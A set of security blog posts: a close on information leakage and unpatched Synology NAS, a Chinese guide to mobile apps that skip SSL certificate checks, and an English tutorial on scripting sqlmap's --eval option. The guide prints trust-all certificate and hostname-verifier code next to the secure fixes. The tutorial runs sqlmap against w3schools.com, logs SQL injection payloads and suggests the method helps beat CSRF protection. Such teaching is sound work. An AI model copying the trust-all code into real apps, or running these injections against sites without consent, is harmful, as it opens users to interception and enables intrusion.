最後,我們用最近 SynoLocker 的案例為大數據資料蒐集作結,SynoLocker 是一款針對 Synology 的勒索軟體,去年底 Synology 官方已經推出新版修正問題,本月 SynoLocker 擴散至全世界,新聞一再強調需要更新 NAS,但我們針對台灣 1812 台對外開放的 Synology NAS 做統計,至今仍發現有 64% 的使用者沒有更新,也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標,也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題,並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情,但往往能激起駭客高漲的情緒,駭客會認為一個網站連最最最基本的資料保護都沒有做到,一定會存在其他資安問題,進而進行更大量的攻擊行為。而事實上,我們也從實例證明了其實資訊洩漏可以很嚴重,希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集,在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題,我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查,了解自己到底對外開啟了什麼服務,以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』!大家快點注意這件簡單的事情吧!

手機應用程式開發上被忽略的 SSL 處理

14 August 2014 at 16:00

在網路上傳輸敏感資訊時,通常會使用 HTTPS 協定,讓客戶端與伺服器端對資料進行 SSL 加密處理,以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視,Google 除了預設開啟 HTTPS 之外,未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全,過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效,若判定為無效時會作出警告。(詳見Wikipedia)

Desktop 警告圖 而在手機應用程式上 HTTPS 同樣重要,例如網路銀行、線上購物等。系統同樣會做憑證核對,但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好,以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因?

在探討該如何處理這個問題之前,這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 1

在 Android 2.2 及之前的版本,對 SSL 的支援上存在著一些問題,像是 SNIMultiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈,例如:https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例,在 Windows 上被判定為有效,但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

Windows iPhone

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中,由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時,使用者原本的連線目的地會被導到攻擊者的設備上,此時伺服器憑證也會被取代成攻擊者自行簽發的憑證,造成原本正常的連線出現異常。

開發者該如何處理?

理想情況下,客戶端的支援度充足,伺服器憑證鏈的來源及設定正確,只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候,就得自行做額外的檢查。

在處理方式上,普遍是使用憑證綁定 (certificate pinning) 的方式,把需要比對的憑證預先存放在應用程式裡,待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

可是在實務上,大多開發人員採用消極的方法,把錯誤警告略過讓連線繼續進行,使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android 這篇論文指出,在 Google Play 上 13500 個免費熱門應用程式當中,共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上,常見的 SSL 處理錯誤,以及其對應適當的處理方法。

Android 錯誤處理情況1

1
2
3
4
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
    handler.proceed();
}

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時,會觸發 onReceivedSslError 這個函數。根據官方文件指出,可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止,或是限制在開發階段才執行 handler.proceed()。像 Apache CoradovaFacebook Android SDK 皆有對這部分做控管。

Android 錯誤處理情況2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager() {
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType) {
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType) {
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
} };

SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustAllManager, null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空,導致警告被略過。Google 建議不要自行實作 TrustManager,而是把憑證放到 KeyStore,再把 KeyStore 放到 TrustManagerFactory,最後從 TrustManagerFactory 產出相關的 TrustManager,開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例2

下面節錄 Android 官方文件上的範例:

1
2
3
4
5
6
7
8
9
10
11
12
KeyStore keyStore = ...;
String algorithm = TrustManagerFactory.getDefaultAlgorithm();
TrustManagerFactory tmf = TrustManagerFactory.getInstance(algorithm);
tmf.init(keyStore);

SSLContext context = SSLContext.getInstance("TLS");
context.init(null, tmf.getTrustManagers(), null);

URL url = new URL("https://www.example.com/");
HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection();
urlConnection.setSSLSocketFactory(context.getSocketFactory());
InputStream in = urlConnection.getInputStream();

Android 錯誤處理情況3

1
2
3
URL url = new URL("https://www.example.com/");
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1
2
3
4
5
6
HostnameVerifier allHostVerifier = new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, SSLSession session) {
        return true;
    }
};

上述寫法略過了憑證中的 hostname 檢查,導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定,讓他使用預設的 DefaultHostnameVerifier,或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1

1
2
3
4
5
6
@implementation NSURLRequest (IgnoreSSL)
+ (BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host
{
    return YES;
}
@end

此情況使用到 Framework 中的 Private API,雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內),但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”,”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2

1
2
3
4
5
6
7
8
9
10
- (BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace {
    return [protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust];
}

- (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
    if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust])
        [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge];

    [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge];
}

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查,容許任意憑證通過。下面節錄 OWASP WIKI 上的範例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
- (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:
                   (NSURLAuthenticationChallenge *)challenge
{
    if ([[[challenge protectionSpace] authenticationMethod] isEqualToString: NSURLAuthenticationMethodServerTrust])
    {
        do
        {
            SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust];
            if(nil == serverTrust)
                break; /* failed */

            OSStatus status = SecTrustEvaluate(serverTrust, NULL);
            if(!(errSecSuccess == status))
                break; /* failed */

            SecCertificateRef serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0);
            if(nil == serverCertificate)
            break; /* failed */

            CFDataRef serverCertificateData = SecCertificateCopyData(serverCertificate);
            [(id)serverCertificateData autorelease];
            if(nil == serverCertificateData)
                break; /* failed */

            const UInt8* const data = CFDataGetBytePtr(serverCertificateData);
            const CFIndex size = CFDataGetLength(serverCertificateData);
            NSData* cert1 = [NSData dataWithBytes:data length:(NSUInteger)size];

            NSString *file = [[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"];
            NSData* cert2 = [NSData dataWithContentsOfFile:file];

            if(nil == cert1 || nil == cert2)
                break; /* failed */

            const BOOL equal = [cert1 isEqualToData:cert2];
            if(!equal)
                break; /* failed */

            // The only good exit point
            return [[challenge sender] useCredential: [NSURLCredential credentialForTrust: serverTrust]
                        forAuthenticationChallenge: challenge];
        } while(0);
    }

    // Bad dog
    return [[challenge sender] cancelAuthenticationChallenge: challenge];
}

處理方式與前面的 Android 情況2類同,做了 certificate pinning。

iOS 錯誤處理情況3

1
2
3
4
5
6
7
8
9
10
11
12
13
- (void) URLSession:(NSURLSession *)session
didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
  completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition,
                              NSURLCredential *credential))completionHandler
{
    NSURLProtectionSpace * protectionSpace = challenge.protectionSpace;
    if ([protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) {
        SecTrustRef serverTrust = protectionSpace.serverTrust;
        completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust: serverTrust]);
    } else {
        completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
    }
}

與前面 NSURLConnection 的情況類同,只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
- (void) URLSession:(NSURLSession *)session
didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
  completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition,
                              NSURLCredential *credential))completionHandler
{
    if ([[[challenge protectionSpace] authenticationMethod] isEqualToString:NSURLAuthenticationMethodServerTrust]) {
        SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust];
        if (serverTrust != NULL) {
            OSStatus status = SecTrustEvaluate(serverTrust, NULL);
            if(!(errSecSuccess == status)) {
                completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);
                return;
            }

            NSData *localCertData = [NSData dataWithContentsOfFile:[[NSBundle mainBundle]
                                                   pathForResource:@"random-org"
                                                            ofType:@"der"]];

            SecCertificateRef remoteServerCert = SecTrustGetCertificateAtIndex(serverTrust, 0);
            CFDataRef remoteCertData = SecCertificateCopyData(remoteServerCert);
            BOOL isMatch = [localCertData isEqualToData: (__bridge NSData *)remoteCertData];
            CFRelease(remoteCertData);

            if (isMatch) {
                completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust:serverTrust]);
            } else {
                completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);
            }
        }
    } else {
        completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
    }
}

對 WebView 的一些補充

在對 WebView 做處理上,除了對 SSL 錯誤直接略過外,目前無論是在 Android 還是 iOS 上,SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是,利用其他能夠作 Pinning 的元件將資料下載回來,接著把資料傳到 WebView 進行讀取,避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例

結語

本來為了提高安全性而使用的 SSL 加密連線,卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候,卻沒有提醒他們這樣做帶來的影響,也助長了不當處理的發生。

除了 SSL 處理問題外,手機應用程式開發還有許多要注意的安全問題,像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook 裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

  1. Google 基於效能及有效性的考量,在 Android 系統上預設停用憑證撤銷檢查
     

  2. OWASP 的 Android 範例中,內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) 

Advanced sqlmap features – eval

By: geri
21 July 2014 at 14:22

I was always sad when I couldn’t use sqlmap when the injection was not very simple. Of course I always expected that to be my fault, that I didn’t spent enough time to configure sqlmap properly. So the other day when I tested an application and found an sql injection which was a pain in the neck to exploit manually, I rolled up my sleeves and started to look at source code of sqlmap to figure out some parameters which I never knew what they did. This blog post is about the --eval parameter which allows you to manipulate the requests before sending them.

If you look at the sqlmap help, it says the following about --eval:

    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

This sounds pretty good, but I still had no idea what you can do with it exactly. A good way to find that out is to do a little debugging. If you look at the sqlmap\lib\core\common.py:evaluateCode() method you will see the following:

def evaluateCode(code, variables=None):
    """
    Executes given python code given in a string form
    """
    try:
        exec(code, variables)
    except KeyboardInterrupt:
        raise
    except Exception, ex:
        errMsg = "an error occurred while evaluating provided code ('%s'). " % ex
        raise SqlmapGenericException(errMsg)

This means that your given code is executed with the exec() method. I still didn’t know though,what would be there inside this exec. I wanted to know what can I access and alter with my input code. For the examples here, I am gonna use the form in a W3C example (http://www.w3schools.com/tags/tryit.asp?filename=tryhtml_form_submit), and I will also add some parameters, which are not really existing but it still shows how sqlmap works. So my test request is the following, which is saved in the w3c_post.txt:

POST /tags/demo_form.asp HTTP/1.1
Host: www.w3schools.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

FirstName=Mickey&LastName=Mouse&Serial=1

I added the Serial parameter, because that is gonna be our test scenario. Many applications use serial numbers in requests, and go to an error state if the serial is wrong. That is a huge bummer when you automate testing because you always have to increment this parameter. That is what we are gonna do with sqlmap. So our goal is to get sqlmap to send the attack request always with an incremented serial number.

But first lets debug a bit more. The best way I found to check the possibilies of --eval is to break with a debugger inside the exec(). You can do that with ipdb (if you don’t have it installed: pip install ipdb). So start sqlmap with the following configuration:

PS H:\My Documents\testing\sqlmapproject-sqlmap-33b6d18> python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import ipdb; ipdb.set_trace()"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused
by this program

[*] starting at 10:46:14

[10:46:14] [DEBUG] cleaning up configuration parameters
[10:46:14] [DEBUG] parsing targets list from '.\w3c_post.txt'
[10:46:14] [DEBUG] not a valid WebScarab log data
[10:46:14] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
[10:46:14] [DEBUG] setting the HTTP timeout
[10:46:14] [DEBUG] setting the HTTP method to GET
[10:46:14] [DEBUG] creating HTTP requests opener object
[10:46:14] [DEBUG] initializing the knowledge base
URL 1:
POST http://www.w3schools.com:80/tags/demo_form.asp
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=119627022.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjoCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
POST data: FirstName=Mickey&LastName=Mouse&Serial=1
do you want to test this URL? [Y/n/q]
>
[10:46:17] [INFO] testing URL 'http://www.w3schools.com:80/tags/demo_form.asp'
[10:46:17] [INFO] using 'C:\Users\z003am9f\.sqlmap\output\results-07182014_1046am.csv' as the CSV results file in multiple targets mode
[10:46:18] [INFO] testing connection to the target URL
--Return--
None
> <string>(1)<module>()

ipdb>

As you see ipdb broke, and we have a debugging shell inside the exec(). Now the best way to look around is to run locals() to see what is available in that environment. I won’t show that because it is a huge structure, however what you should see hidden between random variables is the POST parameters from your request:

ipdb> print FirstName
Mickey
ipdb> print LastName
Mouse
ipdb> print Serial
1
ipdb>

This is a great thing, because it means that you can directly manipulate the POST parameters from your python code. Now what we need to do is to write a python code which increments the Serial variable. Since I didn’t know how to save state inside python, I went in the hard way and saved the serial counter in a file. The not-too-sophisticated code to do that is:

f = open("cnt.txt","r+")
Serial = int(f.readline())
f.seek(0,0)
f.write(str(Serial+1))
f.close()

It opens the file where the serial number is stored, updates the Serial variable, and increments the number in the file. So let’s try it with sqlmap (note: be careful with the quotes in your python code):

$ python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="f = open('cnt.txt','r+'); Serial = int(f.readline()); f.seek(0,0); f.write(str(Serial+1)); f.close()"

In the following snippet from the logs you can clearly see that the Serial was always properly incremented:

[11:16:09] [PAYLOAD] Mickey') AND 8899=1627
[11:16:09] [TRAFFIC OUT] HTTP request [#10]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 67
Connection: close

FirstName=Mickey%27%29%20AND%208899%3D1627&LastName=Mouse&Serial=14

[11:16:09] [TRAFFIC IN] HTTP response [#10] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 3958=8005
[11:16:09] [TRAFFIC OUT] HTTP request [#11]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close

FirstName=Mickey%27%20AND%203958%3D8005&LastName=Mouse&Serial=15

[11:16:09] [TRAFFIC IN] HTTP response [#11] (200 OK):
[11:16:09] [PAYLOAD] Mickey' AND 7730=7730
[11:16:09] [TRAFFIC OUT] HTTP request [#12]:
POST /tags/demo_form.asp HTTP/1.1
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Host: www.w3schools.com
Referer: http://www.w3schools.com/tags/tryit_view.asp?x=0.604968847923233
Cookie: __utma=119627022.1380380815.1405671958.1405671958.1405671958.1; __utmb=119627022.2.10.1405671958; __utmc=119627022; __utmz=11962702.1405671958.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __gads=ID=187243b56c146e0d:T=1405671959:S=ALNI_MYjCljcFie0P9TsOfInWm4lnIjOA; ASPSESSIONIDCSTCRCBQ=KMCPDGBAELNBLLBJDDBHDNCP
Content-type: application/x-www-form-urlencoded
Content-length: 64
Connection: close

FirstName=Mickey%27%20AND%207730%3D7730&LastName=Mouse&Serial=16

With that we’ve reached our goal.

To go a bit further, I would like to add a more complicated example where you could see the real power in this feature. In my test, the new serial number was always embedded in the last response. The problem was that sometimes the system broke and my serials went out of sync. So I decided that it would be better to send a useless request to get a fresh serial number and use that in the attack request. Of course it slows down the test because it doubles the number of requests, but on the other hand it goes in the direction of beating CSRF protections, which could be also really useful.

The following code creates a method which is responsible to get the newest serial number:

#!/usr/bin/env python
import httplib
from StringIO import StringIO
import gzip
from lxml import html

def getSerial():
     conn = httplib.HTTPSConnection("www.w3schools.com")
     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Accept-Language": "en-US,en;q=0.5",
     "Accept-Encoding": "gzip, deflate",
     "Referer": "https://www.w3schools.com/tags/demo_form.asp",
     "Connection": "keep-alive"}
     conn.request("GET", "/tags/demo_form.asp", None, headers)
     resp = conn.getresponse()
     buffer = StringIO(resp.read())
     deflatedContent = gzip.GzipFile(fileobj=buffer)
     content_text = deflatedContent.read()
     content_tree = html.fromstring(content_text)
     serial_number = content_tree.xpath('//input[@name="Serial"]/@value')
     conn.close()

     return serial_number[0]

Note that this is not gonna work because W3C doesn’t replies with a serial number, it is a mere example.

In the getSerial() method, we open a connection to the target server, set up the headers, send the request. Since the response was compressed in my case, it had to be decompressed and parsed to retrieve the new Serial.

This code was saved in the increment.py, thus it could be used as a library in the --eval:

python.exe .\sqlmap.py -l .\w3c_post.txt -v 6 --level=5 --risk=2 --eval="import increment; Serial=increment.getSerial()"

As I said, this is not a working example, but I think you can see the potential in it.

So that is about scripting sqlmap so far, have fun with it.

❌
❌